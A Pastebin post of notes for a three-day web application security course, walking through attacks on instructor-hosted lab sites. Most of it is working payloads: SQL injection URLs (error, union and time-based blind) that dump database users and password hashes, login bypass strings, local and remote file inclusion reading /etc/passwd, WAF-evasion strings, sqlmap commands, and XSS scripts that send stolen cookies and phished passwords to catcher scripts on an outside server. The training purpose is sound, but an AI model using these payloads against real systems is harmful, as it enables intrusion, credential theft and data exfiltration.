Advertisement
joemccray

Secure Coding For InterSwitch

Feb 19th, 2016
2,055
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #################################
  2. # Secure Coding For InterSwitch #
  3. #################################
  4.  
  5.  
  6. -------------------------------------------------------------------------------------------------------------------------------
  7. Slides to look at today:
  8. http://www.slideshare.net/SeniorStoryteller/lisa-conference-2014-devops-and-appsec-who-is-responsible
  9. http://www.slideshare.net/katyanton/owasp-toptenmapping201505lwc
  10.  
  11.  
  12.  
  13. #########################################
  14. # Day 1: Basic: Web Application Testing #
  15. #########################################
  16.  
  17. Most people are going to tell you reference the OWASP Testing guide.
  18. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  19.  
  20. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  21.  
  22.  
  23. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  24.  
  25. 1. Does the website talk to a DB?
  26. - Look for parameter passing (ex: site.com/page.php?id=4)
  27. - If yes - try SQL Injection
  28.  
  29. 2. Can I or someone else see what I type?
  30. - If yes - try XSS
  31.  
  32. 3. Does the page reference a file?
  33. - If yes - try LFI/RFI
  34.  
  35. Let's start with some manual testing against 54.149.82.150
  36.  
  37.  
  38. Start here:
  39. http://54.149.82.150/
  40.  
  41.  
  42. There's no parameter passing on the home page so the answer to question 1 is NO.
  43. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
  44.  
  45. Try an XSS in the search box on the home page:
  46. <script>alert(123);</script>
  47.  
  48. Doing this gives us the following in the address bar:
  49. http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>
  50.  
  51. Ok, so we've verified that there is XSS in the search box.
  52.  
  53. Let's move on to the search box in the left of the page.
  54.  
  55. Let's give the newsletter signup box a shot
  56.  
  57. Moving on to the login page.
  58. http://54.149.82.150/login.aspx
  59.  
  60. I entered a single quote (') for both the user name and the password. I got the following error:
  61.  
  62. -----------------------------------------------------------------
  63. 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  64. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  65.  
  66. Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
  67.  
  68. Source Error:
  69.  
  70.  
  71. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  72. Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
  73. Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
  74. Line 115: //String test = xmln.ToString();
  75. Line 116: if (xmln.Count > 0)
  76.  
  77. -----------------------------------------------------------------
  78.  
  79.  
  80. Hmm....System.Xml.XPath.XPathException.....that's not SQL.
  81.  
  82. WTF is this:
  83. Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
  84.  
  85.  
  86.  
  87.  
  88. In this case you'll have the trap the request with a proxy like:
  89. - Firefox Tamper Data
  90. - Burp Suite http://www.portswigger.net/Burp/proxy.html
  91. - WebScarab https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
  92. - Rat Proxy https://code.google.com/p/ratproxy/
  93. - Zap Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  94. - Paros http://sourceforge.net/projects/paros/
  95.  
  96.  
  97.  
  98. Let's go back to that page error message.....
  99.  
  100.  
  101. Let's check it out:
  102. http://54.149.82.150/AuthInfo.xml
  103.  
  104. Looks like we found passwords!!!!!!!!!!
  105.  
  106.  
  107. Looks like there no significant new functionality after logging in with the stolen credentials.
  108.  
  109. Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
  110.  
  111.  
  112. http://54.149.82.150/bookdetail.aspx?id=2
  113.  
  114.  
  115. Ok, there is parameter passing (bookdetail.aspx?id=2).
  116.  
  117. The page name is: bookdetail.aspx
  118. The parameter name is: id
  119. The paramber value is: 2
  120.  
  121.  
  122. Let's try throwing a single quote (') in there:
  123.  
  124. http://54.149.82.150/bookdetail.aspx?id=2'
  125.  
  126.  
  127. I get the following error:
  128.  
  129. Unclosed quotation mark after the character string ''.
  130. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  131.  
  132. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143. #############################################################################
  144. # SQL Injection #
  145. # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
  146. #############################################################################
  147.  
  148.  
  149. - Another quick way to test for SQLI is to remove the paramter value
  150.  
  151.  
  152. #############################
  153. # Error-Based SQL Injection #
  154. #############################
  155. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  156. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  157. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  158. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  159. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  160. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  161. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  162. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  163. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  164.  
  165.  
  166.  
  167.  
  168. #############################
  169. # Union-Based SQL Injection #
  170. #############################
  171. http://54.149.82.150/bookdetail.aspx?id=2 order by 100--
  172. http://54.149.82.150/bookdetail.aspx?id=2 order by 50--
  173. http://54.149.82.150/bookdetail.aspx?id=2 order by 25--
  174. http://54.149.82.150/bookdetail.aspx?id=2 order by 10--
  175. http://54.149.82.150/bookdetail.aspx?id=2 order by 5--
  176. http://54.149.82.150/bookdetail.aspx?id=2 order by 6--
  177. http://54.149.82.150/bookdetail.aspx?id=2 order by 7--
  178. http://54.149.82.150/bookdetail.aspx?id=2 order by 8--
  179. http://54.149.82.150/bookdetail.aspx?id=2 order by 9--
  180. http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  181.  
  182. We are using a union select statement because we are joining the developer's query with one of our own.
  183. Reference:
  184. http://www.techonthenet.com/sql/union.php
  185. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  186. It removes duplicate rows between the various SELECT statements.
  187.  
  188. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  189.  
  190. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  191.  
  192. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  193.  
  194. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  195. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  196. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  197. http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  198.  
  199.  
  200.  
  201.  
  202.  
  203. ###############################
  204. # Blind SQL Injection Testing #
  205. ###############################
  206. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  207.  
  208. 3 - Total Characters
  209. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  210. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  211. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  212.  
  213. Let's go for a quick check to see if it's DBO
  214. http://54.149.82.150/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  215.  
  216. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  217.  
  218. D - 1st Character
  219. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  220. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  221. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  222. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  223.  
  224. B - 2nd Character
  225. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  226. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  227.  
  228. O - 3rd Character
  229. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  230. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  231. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  232. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  233. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  234. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245. ###################################################################
  246. # What is XSS #
  247. # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
  248. ###################################################################
  249.  
  250. OK - what is Cross Site Scripting (XSS)
  251.  
  252. 1. Use Firefox to browse to the following location:
  253.  
  254. http://54.186.248.116/xss_practice/
  255.  
  256. A really simple search page that is vulnerable should come up.
  257.  
  258.  
  259.  
  260.  
  261. 2. In the search box type:
  262.  
  263. <script>alert('So this is XSS')</script>
  264.  
  265.  
  266. This should pop-up an alert window with your message in it proving XSS is in fact possible.
  267. Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
  268.  
  269.  
  270. 3. In the search box type:
  271.  
  272. <script>alert(document.cookie)</script>
  273.  
  274.  
  275. This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
  276. Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
  277.  
  278. 4. Now replace that alert script with:
  279.  
  280. <script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script>
  281.  
  282.  
  283. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
  284.  
  285.  
  286. 5. Now view the stolen cookie at:
  287. http://54.186.248.116/xss_practice/cookie_stealer_logs.html
  288.  
  289.  
  290. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
  291.  
  292.  
  293.  
  294.  
  295.  
  296.  
  297. ############################
  298. # A Better Way To Demo XSS #
  299. ############################
  300.  
  301.  
  302. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
  303.  
  304.  
  305. Use Firefox to browse to the following location:
  306.  
  307. http://54.186.248.116/xss_practice/
  308.  
  309.  
  310.  
  311. Paste this in the search box
  312. ----------------------------
  313.  
  314.  
  315. Option 1
  316. --------
  317.  
  318. <script>
  319. password=prompt('Your session is expired. Please enter your password to continue',' ');
  320. document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">");
  321. </script>
  322.  
  323.  
  324. Now view the stolen cookie at:
  325. http://54.186.248.116/xss_practice/passwords.html
  326.  
  327.  
  328.  
  329. Option 2
  330. --------
  331. <script>
  332. username=prompt('Please enter your username',' ');
  333. password=prompt('Please enter your password',' ');
  334. document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
  335. </script>
  336.  
  337.  
  338.  
  339.  
  340. Now view the stolen cookie at:
  341. http://54.186.248.116/xss_practice/username_password_logs.html
  342.  
  343.  
  344.  
  345.  
  346. -------------------------------------------------------------------------------------------------------------------------------
  347. ASP.NET/C#
  348. Slides to look at today:
  349. http://www.slideshare.net/gmaran23/beefing-up-security-in-aspnet-dot-net-bangalore
  350. http://www.slideshare.net/gmaran23/beefing-upsecurityinasp-netdotnetblraug082015
  351. https://www.owasp.org/images/c/c4/IOActive-OWASP-London-200907.pdf
  352. http://www.slideshare.net/SharePointRadi/aspnet-web-security-48518474
  353.  
  354.  
  355. ###########################################
  356. # Day 2: Advanced Web Application Testing #
  357. ###########################################
  358.  
  359. - Another way is to see if you can get the backend to perform an arithmetic function
  360. http://54.149.82.150/bookdetail.aspx?id=(2)
  361. http://54.149.82.150/bookdetail.aspx?id=(4-2)
  362. http://54.149.82.150/bookdetail.aspx?id=(4-1)
  363.  
  364.  
  365.  
  366. http://54.149.82.150/bookdetail.aspx?id=2 or 1=1--
  367. http://54.149.82.150/bookdetail.aspx?id=2 or 1=2--
  368. http://54.149.82.150/bookdetail.aspx?id=1*1
  369. http://54.149.82.150/bookdetail.aspx?id=2 or 1 >-1#
  370. http://54.149.82.150/bookdetail.aspx?id=2 or 1<99#
  371. http://54.149.82.150/bookdetail.aspx?id=2 or 1<>1#
  372. http://54.149.82.150/bookdetail.aspx?id=2 or 2 != 3--
  373. http://54.149.82.150/bookdetail.aspx?id=2 &0#
  374.  
  375.  
  376. #########################################
  377. # Let's kick it up a notch with ASP.NET #
  378. # http://54.200.178.220/ #
  379. #########################################
  380.  
  381.  
  382. The trading Web App is on http://54.200.178.220/
  383.  
  384.  
  385. Try the following in the search box:
  386. <script>alert(123);</script>
  387. ' or 1=1
  388. ' and a=a
  389. 1=1
  390. Joe'+OR+1=1;--
  391.  
  392.  
  393. <script>alert(123);</script>
  394.  
  395. Open a new tab in firefox and try this:
  396. http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
  397.  
  398.  
  399. Try the contact us form.
  400. Open a new tab in firefox and try this:
  401. http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
  402.  
  403. Try this on the inquiry form:
  404. Joe McCray
  405. 1234567890
  406. joe@strategicsec.com') waitfor delay '00:00:10'--
  407.  
  408.  
  409. Login Box:
  410.  
  411. ' or 1=1 or ''='
  412. anything (click login instead of pressing enter)
  413.  
  414.  
  415.  
  416. Tamper Data: (notice 2 session IDs)
  417.  
  418. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
  419. IsAdmin=yes;
  420. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
  421.  
  422.  
  423.  
  424. Profile - Detail (tamper data)
  425. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
  426. joe|set
  427.  
  428.  
  429. xss_upload.txt (Upload Bulk Order)
  430. <script>alert(123);</script>
  431.  
  432.  
  433.  
  434.  
  435. ############################
  436. # Trading Web App with WAF #
  437. # http://54.213.131.105 #
  438. ############################
  439.  
  440.  
  441. Try the following in the search box:
  442. <script>alert(123);</script>
  443. <script>alert(123);</script
  444. <script>alert(123)
  445. <script>alert
  446. <script>
  447. <script
  448. <scrip
  449. <scri
  450. <scr
  451. <sc
  452. <s
  453. <p
  454. <
  455. < s
  456. Joe'+OR+1=1;--
  457.  
  458.  
  459. Open a new tab in firefox and try this:
  460. http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
  461.  
  462.  
  463. xss_upload.txt (Upload Bulk Order)
  464. <script>alert(123);</script>
  465.  
  466.  
  467. Login Box:
  468.  
  469. ' or 1=1 or ''='
  470. anything
  471.  
  472.  
  473. #########################
  474. # Setting up Burp Suite #
  475. #########################
  476. Download latest free version of Burp at http://www.portswigger.net/burp/download.html
  477. Make sure that burpsuite_free_v1.6.31.jar is set as executable (chmod +x burpsuite_free_v1.6.31.jar) and then run:
  478.  
  479. java -jar burpsuite_free_v1.6.31.jar
  480.  
  481. - Click the "Proxy" tab
  482. - Click the "Options" sub tab
  483. - Click “Edit” in the “Proxy Listeners” section
  484. - In the “Edit proxy listener” pop up select “Binding Tab” select “loopback only”
  485. - In the same pop up make sure that the bind port is 8080
  486. - In the same pop up select the “Certificate” tab
  487. - Ensure that burp is configured to "generate CA-signed per-host certificates"
  488.  
  489. Open Firefox
  490. - Click "Edit"
  491. - Click “Preferences"
  492. - Click the "Advanced" tab
  493. - Click the "Network" sub tab
  494. - Click the connection "settings" button
  495. - Click "manual proxy configuration"
  496. set it to 127.0.0.1 port 8080
  497. check "Use this proxy server for all protocols"
  498. - Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
  499.  
  500.  
  501. Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CA-signed per-host certificates.
  502.  
  503. Visit any SSL-protected URL.
  504.  
  505. On the “This Connection is Untrusted” screen, click on “Add Exception”
  506. Click "Get Certificate", then click "View".
  507.  
  508. In the “Details” tab, select the root certificate in the tree (PortSwigger CA).
  509.  
  510. Click "Export" and save the certificate as "BurpCert" on the Desktop.
  511.  
  512. Close Certificate Viewer dialog and click “Cancel” on the “Add Security Exception” dialog
  513. Go to Edit | Preferences
  514. Click “Advanced” and go to “Certificates” tab
  515. Click “View Certificates”
  516.  
  517. Click "Import" and select the certificate file that you previously saved.
  518.  
  519. On the "Downloading Certificate" dialog, check the box "Trust this CA to identify web sites", and click "OK".
  520.  
  521. Close all dialogs and restart Firefox
  522.  
  523.  
  524.  
  525.  
  526.  
  527.  
  528. -------------------------------------------------------------------------------------------------------------------------------
  529. Java/Spring MVC
  530. Slides to look at today:
  531. http://www.slideshare.net/JonasEliasFlesch/securing-java-web-applications
  532. http://www.slideshare.net/mraible/java-web-application-security-with-java-ee-spring-security-and-apache-shiro-uberconf-2015
  533.  
  534. Mobile:
  535. http://www.slideshare.net/denimgroup/building-a-mobile-security-program
  536.  
  537.  
  538.  
  539.  
  540. ###########################################
  541. # Day 3: Advanced Web Application Testing #
  542. ###########################################
  543.  
  544.  
  545. #######################
  546. # Attacking PHP/MySQL #
  547. #######################
  548.  
  549. Go to LAMP Target homepage
  550. http://54.186.248.116/
  551.  
  552.  
  553.  
  554. Clicking on the Acer Link:
  555. http://54.186.248.116/acre2.php?lap=acer
  556.  
  557. - Found parameter passing (answer yes to question 1)
  558. - Insert ' to test for SQLI
  559.  
  560. http://54.186.248.116/acre2.php?lap=acer'
  561.  
  562.  
  563. Page returns the following error:
  564. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  565.  
  566.  
  567.  
  568. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  569. We do this using the ORDER BY
  570. http://54.186.248.116/acre2.php?lap=acer' order by 100-- +
  571.  
  572. Page returns the following error:
  573. Unknown column '100' in 'order clause'
  574.  
  575.  
  576.  
  577. http://54.186.248.116/acre2.php?lap=acer' order by 50-- +
  578.  
  579. Page returns the following error:
  580. Unknown column '50' in 'order clause'
  581.  
  582.  
  583.  
  584. http://54.186.248.116/acre2.php?lap=acer' order by 25-- +
  585. Page returns the following error:
  586. Unknown column '25' in 'order clause'
  587.  
  588.  
  589.  
  590. http://54.186.248.116/acre2.php?lap=acer' order by 12-- +
  591.  
  592. Page returns the following error:
  593. Unknown column '50' in 'order clause'
  594.  
  595.  
  596.  
  597. http://54.186.248.116/acre2.php?lap=acer' order by 6-- +
  598. ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
  599.  
  600.  
  601.  
  602. Now we build out the union all select statement with the correct number of columns
  603.  
  604. Reference:
  605. http://www.techonthenet.com/sql/union.php
  606.  
  607.  
  608.  
  609. http://54.186.248.116/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
  610.  
  611.  
  612.  
  613. Now we negate the parameter value 'acer' by turning into the word 'null':
  614. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
  615.  
  616. We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
  617.  
  618.  
  619. Use a cheat sheet for syntax:
  620. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  621.  
  622.  
  623. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
  624.  
  625. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
  626.  
  627. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
  628.  
  629. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
  630.  
  631.  
  632. http://54.186.248.116/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
  633.  
  634.  
  635.  
  636.  
  637. Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
  638. http://54.186.248.116/showfile.php?filename=about.txt
  639.  
  640.  
  641.  
  642. See if you can read files on the file system:
  643. http://54.186.248.116/showfile.php?filename=/etc/passwd
  644.  
  645. We call this attack a Local File Include or LFI.
  646.  
  647. Now let's find some text out on the internet somewhere:
  648. http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  649.  
  650.  
  651. Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
  652. http://54.186.248.116/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
  653.  
  654.  
  655. -----------------Some Automated Testing from the strategicsec VM-----------------
  656.  
  657. cd /home/strategicsec/toolz/sqlmap-dev/
  658.  
  659. python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" -b -v 3
  660.  
  661.  
  662. python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --current-user -v 3
  663.  
  664.  
  665. python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --current-db -v 3
  666.  
  667.  
  668. python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --privileges -v 3
  669.  
  670.  
  671. python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --dbs -v 3
  672.  
  673.  
  674. python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --tables -v 3
  675.  
  676.  
  677. python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --file-read=/etc/issue -v 3
  678.  
  679.  
  680. python sqlmap.py -u "http://54.186.248.116/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
  681.  
  682.  
  683.  
  684.  
  685.  
  686. ###########################################################
  687. # Attacking an Oracle/JSP based WebApp with SQL Injection #
  688. ###########################################################
  689.  
  690.  
  691.  
  692.  
  693.  
  694. http://54.69.156.253:8081/bookcompany/
  695.  
  696.  
  697. user: a' OR 'a'='a
  698. pass: a' OR 'a'='a
  699.  
  700.  
  701.  
  702.  
  703.  
  704.  
  705.  
  706. http://54.69.156.253:8081/bookcompany/author.jsp?id=111
  707.  
  708.  
  709. [ Search by Username ] Joe' OR 'a'='a
  710.  
  711.  
  712.  
  713.  
  714.  
  715.  
  716.  
  717.  
  718.  
  719.  
  720.  
  721.  
  722. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
  723.  
  724.  
  725.  
  726. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
  727.  
  728.  
  729.  
  730.  
  731.  
  732.  
  733.  
  734.  
  735.  
  736.  
  737.  
  738.  
  739.  
  740.  
  741.  
  742. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
  743.  
  744.  
  745. Host is running:
  746.  
  747.  
  748.  
  749.  
  750.  
  751. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
  752.  
  753. User is:
  754.  
  755.  
  756.  
  757.  
  758.  
  759. http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
  760.  
  761. Current database is:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement